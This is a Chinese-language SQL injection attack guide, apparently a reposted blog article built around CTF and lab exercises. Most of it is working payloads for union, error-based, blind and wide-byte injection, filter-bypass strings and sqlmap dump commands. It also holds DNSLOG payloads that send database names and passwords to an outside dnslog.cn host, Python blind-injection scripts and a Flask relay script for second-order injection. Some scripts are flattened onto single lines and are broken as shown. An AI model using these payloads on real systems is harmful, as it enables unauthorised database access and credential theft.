sql注入漏洞检测攻略
sql注入漏洞檢測攻略
- 一、注入分類
-
- 1.可回顯注入
- 2.不可回顯注入
- 3.二次注入
- 二、如何判斷
-
- 1.基于報錯的檢驗
- 2.通過布爾的檢驗
- 3.通過連接符+
- 三、繞過
-
- 1.過濾關鍵字
- 2.過濾空格
- 3.過濾單引號
- 四、注入方式舉例
-
- 1.常規手工注入
- 2.SQL盲注注入——布爾型
- 3.sqlmap注入
- 4.寬字節注入
- 5.sqlmap跑base64注入點
- 6.二次注入
-
- 1)二次注入概念:
- 2)二次注入案例
-
- 案例一:
- 案例二:
- 案例三:
一、注入分類
1.可回顯注入
- 可以聯合查詢的注入。
程序進行數據庫的查詢之后,會將查詢的結果直接返回在頁面上。通過SQL注入后程序執行類似下面的語句 select id,name from product where id = 1 union select 1,user() 將在原本顯示name處,顯示的是user()函數返回的結果。 - 報錯注入。
通過注入使程序報錯的語句,將敏感信息顯示在錯誤提示中。通常程序使用了mysql_error類似的函數,將錯誤信息直接顯示在頁面中。使用SQL注入后程序將執行類似下面的語句 select id,name from product where id = 1 and updatexml(1,concat(0x7e,user(),0x7e),1) 在顯示錯誤信息的同時也會將user()函數執行的結果返回在頁面上。
1.floor報錯注入:
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)2.updatexml(xml_name,xpath, value)
xml_name:xml文檔的名稱,可以隨便填寫,因為我們是要導致報錯,而不是真的要替換。
xpath:xpath語法,可以死記硬背,格式為 : concat(0x7e,(查詢語句),0x7e)
value:我們要替換文件后的 一個新的文件, 依然隨便填寫。
updatexml第二個參數需要的是Xpath格式的字符串,輸入不符合,因此報錯
1)爆數據庫版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
2)鏈接用戶
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
3)爆庫名
id=1' and updatexml(11,concat(0x7e,(select database()),0x7e),11)-- q
4)爆表名
id=1' and updatexml(11,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),11) --+qq
5)爆字段
id=1' and updatexml(11,concat(0x7e,(select column_name from information_schema.columns
where table_schema=database() and table_name='user'limit 0,1),0x7e),11) --+
6)爆字段值
?id=1' and updatexml(11,concat(0x7e,(select username from user where id=1),0x7e)) --+q
相關應用:
insert場景報錯注入
insert into member(username,pw,sex,phonenum,email,address) values('wangwu'or updatexml(1,concat(0x7e,(users())),0) or'',md5('a'),'a','aa','a','a')wangwu'or updatexml(1,concat(0x7e,(命令)),0) or'update場景報錯注入
update data1 set year = 11 or updatexml(1,concat(0x7e,(命令)),0) where id =7 delete場景報錯注入
delete from users where id=2 or updatexml(1,concat(0x7e,(命令)),0)3.extractvalue報錯注入
and extractvalue(1,concat(0x7e,(select database())))4.exp報錯注入:
and exp(~(select * from(select user())a))
注意:
1.當等號被過濾時候,可以用!(<>)代替
- 通過注入進行DNS請求,從而達到可回顯目的( 此方式僅用于myslq)。
參考文章:https://www.jianshu.com/p/3201dfc60f6d
遇到MySql的盲注時,可以利用內置函數load_file()來完成DNSLOG。load_file()不僅能夠加載本地文件,同時也能對諸如\www.test.com這樣的URL發起請求。
show variables like '%secure%';查看load_file()可以讀取的磁盤。
1、當secure_file_priv為空,就可以讀取磁盤的目錄。
2、當secure_file_priv為G:\,就可以讀取G盤的文件。
3、當secure_file_priv為null,load_file就不能加載文件。
通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。
查詢庫名
and (select load_file(concat('\\\\',(select database()),'.rmqdup.dnslog.cn\\yoyo')))
PS:這里使用concat函數將(select database())得到的內容作為查詢url的一部分,和我們的平臺三級域名拼接組合成一個四級域名,而load_file函數會通過dns解析請求,所以我們在dnslog平臺就可以看到查詢的記錄(包含著我們注入出的數據);對于表段,由于load_file()一次只能傳輸一條數據,所以查詢的時候需要使用limit來一個一個的解析。
查詢表名
and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.9cfoby.dnslog.cn\\yoyo')))
查詢字段名
and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
查詢字段內容
and (select load_file(concat('\\\\',(select username from admin limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
and (select load_file(concat('\\\\',(select password from admin limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
- 堆查詢
這種類型的注入也稱為多語句注入,其意思為通過分號就能將前一個語句結束,然后注入一個新的語句。例如:select * from product where id = 1;delete from product where id =2 這種類型的注入常出現在php的pdo環境,ASP.NET與MSSQL,Java與MySQL。
2.不可回顯注入
盲注:
布爾形盲注
時間形盲注
bool盲注由于代碼中不進行回顯,只固定回顯正常頁面和報錯頁面。而時間盲注則是帶入來sql語句執行。但是頁面并不如顯錯注入、報錯注入等等。只能通過延時來判斷;
length() : 返回字符串長度
substr() :截取字符串 (語法:substr(string,start,leng))
SUBSTRING(str FROM pos FOR len)#當逗號被過濾時候可用這個
ascii() : 返回字符的ascii碼(將字符等變為數字)
sleep() : 需要延遲的時間
if(str1,str2,str3) : 判斷語句,如果第一個語句正確,就執行第二個,如果錯誤就執行第三個
- Bool盲注
當測試到一個注入點,此注入點不能直接通過聯合查詢與報錯來獲取注入。通過構造邏輯判斷可以發現頁面有字符不同或者頁面數據大小發生變化,這種稱為布爾型盲注。
布爾盲注 select id,name from product where id = 1 or 1=1
Bool盲注樣例
第一步:猜測數據庫名稱的長度
id=1' and length(database()) = 1-- qwe
id=1' and length(database()) = 2-- qwe
id=1' and length(database()) = 3-- qwe
id=1' and length(database()) = 4-- qwe第二步:查詢庫名
利用substr() 截取數據庫,然后使用ascii() 函數,轉換為數字,也就是ascii碼id=1' and (ascii(substr(database(),1,1))) = 115-- q
id=1' and (ascii(substr(database(),1,1))) = 116-- q第三步:查詢表名id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117-- qq
Bool盲注python腳本模板1
#coding=utf-8import requestsdef login(_username,_password):#需要改動處url = "http://58.154.33.13:8001/login.php"data = {"username":_username,"password":_password}response = requests.post(url,data=data)content = response.content#print content#這里是判斷盲注的單個字符是否正確的條件,一般這個腳本模板在使用之前要修改此處#此題是因為注入username字段,當payload后面的語句正確的時候,返回的是密碼錯誤,如果錯誤返回用戶名錯誤#payload=_username = "amin' or (((asCIi(sUBsTring((sELect/**/passWord/**/From/**/admin/**/where/**/username='admin'),%d,1)))=%d))#" %(i,j)if "密碼錯誤" in content:return Trueelse:return Falsedef main():find_name = ""# i 表示了所要查找的名字的最大長度for i in range(0x50):# 0x80=128 , 0x20=32, 32-128為可顯示的字符的區間for j in range(0x80 , 0x20 , -1):#mysql 官方注釋 "-- " --后面有空格,或者用 "#"#_username = "amin' or (((asCIi(sUBsTring((sELect/**/gROup_conCAt(sCHEma_name)/**/From/**/inFormation_SChema.scHemata),%d,1)))=%d))#" %(i,j) #此處是payload,需要改動#_username = "amin' or (((asCIi(sUBsTring((sELect/**/sCHEma_name/**/From/**/inFormation_SChema.scHemata/**/Limit/**/3,1),%d,1)))=%d))#" %(i,j)#_username = "amin' or (((asCIi(sUBsTring((sELect/**/group_concat(Table_name)/**/From/**/inFormation_SChema.tAbles/**/where/**/taBle_schema='sql1'),%d,1)))=%d))#" %(i,j)#_username = "amin' or (((asCIi(sUBsTring((sELect/**/group_concat(columN_name)/**/From/**/inFormation_SChema.columns/**/where/**/taBle_naMe='admin'),%d,1)))=%d))#" %(i,j)_username = "amin' or (((asCIi(sUBsTring((sELect/**/passWord/**/From/**/admin/**/where/**/username='admin'),%d,1)))=%d))#" %(i,j)#_username = "amin' or (ASCII(sUBsTring((user()),%d,1)=%d )) --" %(i,j)#_username = "amin'or(((asCIi(sUBString((sELEct/**/group_concat(scheMA_Name)/**/FRom/**/inforMATion_scheMa.schemaTa),%d,1)))=%d))-- " % (i, j)#可改動處_password="amin"print _usernameif login(_username,_password):find_name+=chr(j)print find_namebreakmain()
Bool盲注python腳本模板2
#!/usr/bin/python
# coding:utf-8
import requestsdicts = 'abcdefghijklmnopqrstuvwxyz0123456789'flag = ''for x in xrange(1,50):for i in dicts:url = 'http://106.12.37.37:8080/level2/?token=xxx&userid=(ascii(substr((select password from user) from d% for 1))=%d)&password=1' %(x,ord(i))try:response = requests.get(url,timeout = 5)if response.content.find('error password!') != -1:flag = flag + iprint(flag)breakexcept Exception as e:pass
print(flag)
- 時間盲注
若頁面完全沒有變化,則可以通過使用數據庫的延時函數來判斷注入點,這稱為時間型盲注。
基于sleep函數的時間盲注:
select id,name from product where id = 1 and sleep(2)
select case when username='admin' THEN 'aaa' ELSE (sleep(3)) end from user;
Select * from table where id = 1 and (if(substr(database()1,1)=' ',sleep(4),null))Select * from table where id = 1and
(if(ascii(substr(database(),1,1))=100,sleep(4),null))#當不允許使用''時,可以轉為ASCII碼判斷
利用 BENCHMARK(count,expr) 函數延時
BENCHMARK()函數重復count次執行表達式expr。它可以被用于計算MySQL處理表達式的速度。
select benchmark(10000000,sha(1));
利用笛卡爾積延時
SELECT count(*) FROM information_schema.columns A,
informationschema.columns B,information_schema.tables C
時間盲注樣例
第一步:判斷時間盲注
id=1" and sleep(5)--+第二步:判斷數據庫長度
if(length(database())=12,sleep(5),1)第三步:查詢庫名
id=1" and if(ascii(substr(database(),1,1))>=50,sleep(5),1)--+第四步:查表名
id=1" and if(ascii(substr((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) >=1,1,1)),sleep(5),1)--+
3.二次注入
二、如何判斷
1.基于報錯的檢驗
輸入’或者’‘根據報錯區分數據庫類型
access Microsoft JET Database Engine JET
mssql System.Data.SqlClient.SqlException
mysql select * from article where id=1’ mysql you have an error in your url
oracle ORA-01756
2.通過布爾的檢驗
1’ and ‘1’=‘1 返回正常界面
1’ and ‘1’='2 返回異常界面
1’ or ‘1’=‘1 如果存在注入的,會把表中所有數據輸出,返回異常界面
1’ or ‘1’='2 返回正常頁面
3.通過連接符+
數字類型 +1 如果有結果,說明在數據庫中進行了加運算
字符串類型 '+'1 如果有報錯在數據庫中進行了字符連接
三、繞過
1.過濾關鍵字
- 穿插關鍵字繞過
- 大小寫繞過
- 十六進制編碼繞過
- 雙重URL編碼繞過
2.過濾空格
- 注釋符繞過
- URL編碼繞過
- 空白字符繞過
- 特殊符號繞過
- 科學計數法繞過
3.過濾單引號
詳見寬字節繞過舉例
四、注入方式舉例
1.常規手工注入
1.)判讀字段有多少:
目前已猜出來有admin表,然后嘗試測試admin表有多少字段
http://172.16.240.80:81/Index.asp?id=1 order by 1
http://172.16.240.80:81/Index.asp?id=1 order by 2
…
http://172.16.240.80:81/Index.asp?id=1 order by 3
http://172.16.240.80:81/Index.asp?id=1 order by 4 ——報錯
說明有三個字段
2)然后嘗試看看表中的哪些字段有回顯示
http://172.16.240.80:81/Index.asp?id=1 union select 1,2,3 from admin
發現字段1無回顯,利用2,3字段進行猜測
http://172.16.240.80:81/Index.asp?id=1 union select 1,username,password from admin
mysql
3)進一步爆庫、表、字段
—爆所有相關庫、表、字段—
爆所有數據庫名
and 1=2 union select 1,group_concat(SCHEMA_NAME),3,4 from information_schema.schemata
爆當前數據庫所有表
and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
爆表中的字段名
and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名的十六迚制編碼或者’表名’
爆挃定字段值
and 1=2 union select 1,group_concat(字段1,0x7c,字段名2),3,4 from 表名
group_concat函數的使用可參考如下文章;
https://blog.csdn.net/wuxianbing2012/article/details/85251338
注意:
如測試發現過濾 空格 order by等,可使用/**/,示例如下:
1'/**/OrDer/**/By/**/6#
-1'/**/UNioN/**/SelECt/**/1,2,group_concat(TaBle_NaMe),4,5/**/FrOm/**/InfOrMation_SCheMa.TaBlEs/**/WheRe/**/tAbLe_ScHEma=database()#
具體案例:sql注入繞過關鍵字過濾
帶入1’發現數據庫報錯,發現注入點,很容易找到!
發現過濾 空格 order by
使用該種方式繞過
1'/**/OrDer/**/By/**/6# 判斷出字段長度為5
使用聯合查詢進行猜解,有過濾繞過即可
猜解庫名-1'/**/UNioN/**/SelECt/**/1,2,database(),4,5#
猜解表
-1'/**/UNioN/**/SelECt/**/1,2,group_concat(TaBle_NaMe),4,5/**/FrOm/**/InfOrMation_SCheMa.TaBlEs/**/WheRe/**/tAbLe_ScHEma=database()#
猜解this_keykey表中的字段內容
-1'/**/UNioN/**/SelECt/**/1,2,group_concat(CoLuMn_NaMe),4,5/**/FrOm/**/InfOrMation_SCheMa.ColUMns/**/WheRe/**/tAbLe_ScHEma=database()/**/And/**/TabLe_NaMe='this_keykey'#
猜解字段is_key的內容
-1'/**/UnIOn/**/SeLEct/**/1,2,is_key,4,5/**/FrOm/**/this_keykey#
2.SQL盲注注入——布爾型
需要了解的一些函數:
Length()函數 返回字符串的長度
SUBSTR(str,pos,len)截取字符串,從pos開始的位置,截取len個字符(空白也算字符)
Ascii()返回字符的ascii碼
sleep(n):將程序掛起一段時間 n為n秒
if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
POST類型示例:
當輸入正確可查詢id的時候,顯示內容this uid is you?, 錯誤時顯示what are you doing?構造單引號時,發現并無數據庫報錯顯示,這里可以猜測是布爾盲注。
先使用sqlmap擼一波,發現沒有成功,猜測有過濾。
右鍵查看源碼,發現提示,key在表key1的列value中。
構造payload,發現過濾空格而已,繞過即可。
測試payload為
1'/**/and/**/ascii(substr((select/**/value/**/from/**/key1),1,1))>1#
上腳本:
#!/usr/local/env python3
#coding:utf-8import requests
import sysurl = "http://121.41.13.133:8006/index.php"
payload = "1'/**/and/**/substr((select/**/value/**/from/**/key1),{},1)='{}'#"
str_list = "1234567890abcdefghijklmnopqrstuvwxyz"def get_key(target, payload):data = {"uid":payload} #uid就是?后的參數res = requests.post(url, data=data)if "this uid is you?" in res.text:return Truereturn Falseif __name__ == '__main__':for i in range(1, 17):for j in str_list:temp = payload.format(i, j)status = get_key(url, temp)if status:sys.stdout.write(j)sys.stdout.flush()break
3.sqlmap注入
sqlmap -u url
-r 數據包
判斷有沒有注入
sqlmap.py -u “url”
爆所有數據據庫名
sqlmap.py -u “url” --dbs
爆當前數據庫名
sqlmap.py -u “url” --current-db
爆表
sqlmap.py -u “url” -D 庫名 --tables
爆字段
sqlmap.py -u “url” -D 庫名 -T 表名 --columns
爆字段內容
sqlmap.py -u “url” -D 庫名 -T 表名 -C 字段 --dump
查看當前數據庫賬號
sqlmap.py -u “url” --current-user
判斷是否是dba權限
–is-dba
–tamper
詳情見這位博主的文章:
Tamper詳解及使用指南
案例:
1)數據包方式
python sqlmap.py -r C:\Users\acer\Desktop\111.txt --level 3
注意:
記得加–level=3否則跑不出來,默認是level1。
最好在注入點出加個*,否則要跑很長時間。
2)帶cookie
sqlmap.py -u “http://127.0.0.1/dvwa/vulnera
bilities/sqli/?id=&Submit=Submit#” --cookie=“PHPSESSID=8bloladl8m1350lg05436kfbo3;security=low”
3)URL方式
sqlmap.py -u “http://地址+id”
4)爆庫、表、字段
查詢所有數據庫
sqlmap.py -u "http://127.0.0.1/dvwa/vulnera
bilities/sqli/?id=&Submit=Submit#" --cookie="PHPSESSID=8bloladl8m1350lg05436kfbo
3;security=low" --dbs
查詢所有數據庫表sqlmap.py -u "http://127.0.0.1/dvwa/vulnera
bilities/sqli/?id=&Submit=Submit#" --cookie="PHPSESSID=8bloladl8m1350lg05436kfbo
3;security=low" -D "dvwa" --tablessqlmap -u "http://172.16.240.65/list.php?id=1" -D cimer --tables
+---------+
| admin |
| article |
| content |
+---------+
查詢指定表所有字段
sqlmap -u "http://172.16.240.65/list.php?id=1" -D cimer -T admin --columns
+----------+------------------+
| Column | Type |
+----------+------------------+
| id | int(10) unsigned |
| password | char(32) |
| username | varchar(30) |
+----------+------------------+報指定表字段內容
sqlmap -u "http://172.16.240.65/list.php?id=1" -D cimer -T admin -C username --dump
+----------+
| username |
+----------+
| admin |
| root |
| test |
+----------+或者使用sql語句一次性查詢表中所有內容
sqlmap.py -u "http://127.0.0.1/dvwa/vulnera
bilities/sqli/?id=&Submit=Submit#" --cookie="PHPSESSID=8bloladl8m1350lg05436kfbo
3;security=low" -D "dvwa" --sql-query="select * from users"sqlmap -u "http://172.16.240.65/list.php?id=1" -D cimer --sql-query="select * from admin"select * from admin [3]:
[*] 1, a41b97ca8f2b827d, admin
[*] 2, 21232f297a57a5a743894a0e4a801fc3, test
[*] 3, 63a9f0ea7bb98050796b649e85481845, root
4.寬字節注入
詳情參考文章
https://blog.51cto.com/12332766/2146755
概念:
1、我們都知道,在防御SQL注入的時候,大多說都是使用的過濾特殊字符,或者使用函數將特殊字符轉化為實體,就是說在字符轉義,添加‘\’。這里第一條就是有這個機制。
2、設置寬字節字符集,這里為GBK字符集,GBK字符集占用兩個字節。關鍵就在于這個設置字符集。通常有很多方法可以設置,例如:
(1) mysql_query,如mysql_query(“SET NAMES ‘gbk’”, $conn)、mysql_query(“setcharacter_set_client = gbk”, $conn)。
(2) mysql_set_charset,如mysql_set_charset(“gbk”,$conn)。
實現過程:當我們測試的時候,輸入“%df‘”,這個時候如果php函數是使用的addslashes()的時候,會在冒號的前面加上’\’。也就變成了%df\’ 。對應的編碼是%df%5c’.這時候網站字符集是GBK,MYSQL使用的編碼也是GBK的話,就會認為%df\是一個漢“運’”,這樣的話,單引號前面的\就不起作用了,從而轉義失敗,題目就會出現報錯信息。
案例:
1.查看網頁源碼
出現字符集gb2312,這時候就應該想到寬字節注入
2.報錯測試可注入
出現了報錯信息,因為構成的語句中會多出一個單引號。例如查詢語句為:
$name=addslashes($_POST[‘name’])
Select * from user where name=’$name
將我們的%df’傳遞進去就變成了:
Select * from user where name=’%df\’’
3.查詢字段數:
%df’ order by 2 %23
這里%23表示注釋#,意指去將后面的語句注釋掉包括什么多出的單引號和limit限制只能查詢一行的語句。
4.判斷數據庫,得到數據庫的 名字。
%df’ union select 1,database() %23
5.接著根據題目提示,給出了表名和字段名,可以直接查詢字段內容
%df’ union select 1,string from sql5.key where id=1 %23
5.sqlmap跑base64注入點
sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –db
6.二次注入
參考:
https://www.jianshu.com/p/3fe7904683ac
https://2ly4hg.smartapps.cn/pages/article/article?articleId=227973811&authorId=472906&spm=smbd.content.share.0.1599363485430bwvmzkr&hostname=baiduboxapp&_swebfr=1
1)二次注入概念:
二次注入可以理解為,攻擊者構造的惡意數據存儲在數據庫后,惡意數據被讀取并進入到SQL查詢語句所導致的注入。防御者可能在用戶輸入惡意數據時對其中的特殊字符進行了轉義處理,但在惡意數據插入到數據庫時被處理的數據又被還原并存儲在數據庫中,當Web程序調用存儲在數據庫中的惡意數據并執行SQL查詢時,就發生了SQL二次注入。
二次注入,可以概括為以下兩步:
第一步:插入惡意數據
進行數據庫插入數據時,對其中的特殊字符進行了轉義處理,在寫入數據庫的時候又保留了原來的數據。
第二步:引用惡意數據
開發者默認存入數據庫的數據都是安全的,在進行查詢時,直接從數據庫中取出惡意數據,沒有進行進一步的檢驗的處理。
2)二次注入案例
案例一:
SQLIlab lesson-24
這題正常的流程是首先注冊一個賬號,然后登陸進去會讓你修改新的密碼:
如果直接嘗試在登陸處嘗試SQL注入,payload: admin’# 發現失敗:
看一下源代碼:
登陸處的username和password都經過了mysql_real_escape_string函數的轉義,直接執行SQL語句會轉義’,所以該處無法造成SQL注入。
此時我們注冊一個test’#的賬號:
注冊用戶的時候用了mysql_escape_string過濾參數:
但是數據庫中還是插入了問題數據test’#
也就是說經過mysql_escape_string轉義的數據存入數據庫后被還原,這里做了一個測試:
回到題目,此時,test用戶的原來密碼為test,我們以test’#用戶登陸,再進行密碼修改
我們無需填寫current password即可修改test用戶的密碼:
我們再看一下test用戶的密碼:
我們看一下源代碼:
Username直接從數據庫中取出,沒有經過轉義處理。在更新用戶密碼的時候其實執行了下面的命令:
“UPDATEusers SET PASSWORD=’22′ where username=’test’#‘ and password=’$curr_pass’”;
因為我們將問題數據存儲到了數據庫,而程序再取數據庫中的數據的時候沒有進行二次判斷便直接帶入到代碼中,從而造成了二次注入。
案例二:
強網杯”three hit
題目描述:
打開看看:
嘗試注入失敗
注冊一個賬號:
登陸進去會顯示用戶名,age,以及和該用戶age相同的用戶名。這里題目對用戶名做了限制只能為0-9a-zA-Z,對age限制為只能是數字。
根據題目的顯示,猜測SQL語句
Select name from table whereage=xx limit 0,1;
猜測age處存在SQL注入, 這里后來看了其他大佬的解題思路,某大佬直接訪問.index.php.swp,獲得了源代碼(其實是比賽方在修改代碼,非預期):
可以看到對age進行了is_numeric處理,可以用16進制編碼繞過。
Payload:
1 and 1=2#
0x3120616e6420313d3223
用0x3120616e6420313d3223作為age注冊一個用戶:
發現查詢為空。
再試試
1 and 1=1#
0x3120616e6420313d3123
用0x3120616e6420313d3123作為age注冊一個用戶:
此時發現可以查詢到aaa用戶,根據and 1=1 和 and 1=2返回不同判斷此處存在二次SQL注入,注冊用戶的age字段直接被后續的查詢語句所調用。接下來的操作和普通的SQL注入測試操作沒有什么區別,首先還是測有幾列:
Payload:
1 order by 4#
注冊age為0x31206f72646572206279203423的用戶:
查詢正常。
Payload:
1 order by 5#
0x31206F7264657220627920352023
查詢失敗,可以判斷列數為4,接下來就是暴庫,首先用union看看可以利用顯示的字段:
可以看到第二列可以用來顯示,接下來暴庫:
Payload:
1 and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata#
0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e63617428736368656d615f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d61746123
可以看到 數據庫名qwb,接下來爆表
Payload:
1 and 1=2union select 1,group_concat(table_name),3,4 from information_schema.tableswhere table_schema=‘qwb’#
0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e636174287461626c655f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d277177622723
最終payload:
1 and 1=2union select null,concat(flag),null,null from flag#
0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723
注冊一個age為0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723的用戶:
案例三:
注冊頁面
注冊?一個alx\,然后在修改密碼的頁面可以發現報錯,可以看到是雙引號。
這明顯是一個二次注入,然后重新構造語句,發現不能含有空格。但是這并不不影響,直接用括號代替就行了。
對username進行fuzz,可以得到哪些字符串被過濾了。
sql.txt腳本如下,可以檢測哪些關鍵字被過濾。
create
use
and
Or
count
from
1=1
=
1+1
%
drop
update
set
where“
flush
#
/**/
%0c
%0d
%09
%0a
concat()
group_concat()
concat_ws()
system_user()
user()
current_user
session_user()
database()
version()
load_file()
@@datadir
@@basedir
@@version_compile_os
Order by
By
Order
union
select
,
information_schema
information_schema.columns
columns
table_name
0x
table_schema
insert
load_file
char
into
update
count
if
cot
ascii
mid
substr
left
right
REGEXP
limit
sleep
benchmark
substring
sha1
'
"
--
;
/*!32302*/
||
&&
&
|
CHR
hex()
)
(
HAVING
GROUP BY
sum
NULL
convert
users
flag
values
like
into
EXEC
master.dbo.xp_cmdshell
ISNULL
DELAY
WAITFOR
load_file
MD5()
SHA1()
ENCODE()
PASSWORD()
ENCODE()
COMPRESS()
ROW_COUNT()
SCHEMA()
VERSION()
cast
case when
@@
TRUE
FALSE
WHERE
OFFSET
RLIKE
MAKE_SET
ELT
IIF
EXP
~
JSON_KEYS
USING
utf8
FLOOR
random
rand
EXTRACRVALUE
UPDATEXML
ROW
<
>
=
MAX
MIN
CAST
AS
NUMERIC
IN
UPPER
PG_SLEEP
REGEXP_SUBSTRING
PROCEDURE ANALYSE
into
NAME_CONST
binary
注冊時候的用戶名和密碼,最后會反饋在修改密碼處。此時,我們可以引入一個代理中轉的方式。將多個行為轉為一個行為。
整個攻擊邏輯流:
1.注冊一個用戶,注入點在username。
2.登陸用戶,修改密碼,觸發漏洞
中轉腳本如下:
# -*- coding: utf-8 -*-
#二次注入中轉腳本,由于注入點在username,sql注入需要一邊又一遍注冊用戶,登錄,然后修改密碼(修改密碼時候回返回報錯回顯),所以通過腳本中轉
from contextlib import closing
import requests
from flask import Flask, request, Responseapp = Flask(__name__)
end_host = '152.136.63.75:20194'
session = requests.Session()@app.before_request
def before_request():"""請求前處理:return:"""url = request.url.replace(request.host, end_host)method = request.methoddata = request.data or request.form or Noneheaders = dict()for name, value in request.headers:if not value or name == 'Cache-Control':continueheaders[name] = valuer = hack(method, url, headers, data)resp_headers = []for name, value in r.headers.items():if name.lower() in ('content-length', 'connection','content-encoding'):continueresp_headers.append((name, value))return Response(r, status=r.status_code, headers=resp_headers)def hack(method, url, headers, data):username = data['username']username.replace(" ","%0b");register(username)login(username)return changepwd()def register(username):paramsPost = {"password": "123", "email": "11", "username": username}headers = {"Origin": "http://166.111.227.240:21679","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36","Referer": "http://166.111.227.240:21679/register.php", "Connection": "close","Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8","Content-Type": "application/x-www-form-urlencoded"}response = session.post("http://{}/register.php".format(end_host), data=paramsPost, headers=headers)print("Status code: %i" % response.status_code)print("Response body: %s" % response.content)def login(username):paramsPost = {"password": "123", "username": username}headers = {"Origin": "http://166.111.227.240:21679","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36","Referer": "http://166.111.227.240:21679/login.php", "Connection": "close","Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8","Content-Type": "application/x-www-form-urlencoded"}response = session.post("http://{}/login.php".format(end_host), data=paramsPost, headers=headers)print("Status code: %i" % response.status_code)print("Response body: %s" % response.content)def changepwd():paramsPost = {"oldpass": "", "newpass": ""}headers = {"Origin": "http://166.111.227.240:21679","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36","Referer": "http://166.111.227.240:21679/changepwd.php", "Connection": "close","Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8","Content-Type": "application/x-www-form-urlencoded"}response = session.post("http://{}/changepwd.php".format(end_host), data=paramsPost, headers=headers)print("Status code: %i" % response.status_code)print("Response body: %s" % response.content)return responseapp.run(port=8007, debug=True)
運行腳本:
進行注入:
注意不能直接訪問頁面,用post方式提交。
由于頁面前臺顯示的長度有限制,所以用正則regexp匹配f,找flag。
發現flag不全,用revers逆序輸出下。
總結
以上是生活随笔為你收集整理的sql注入漏洞检测攻略的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 黑客初级知识(三)
- 下一篇: Meta 押注生成式 AI 业务,现已拆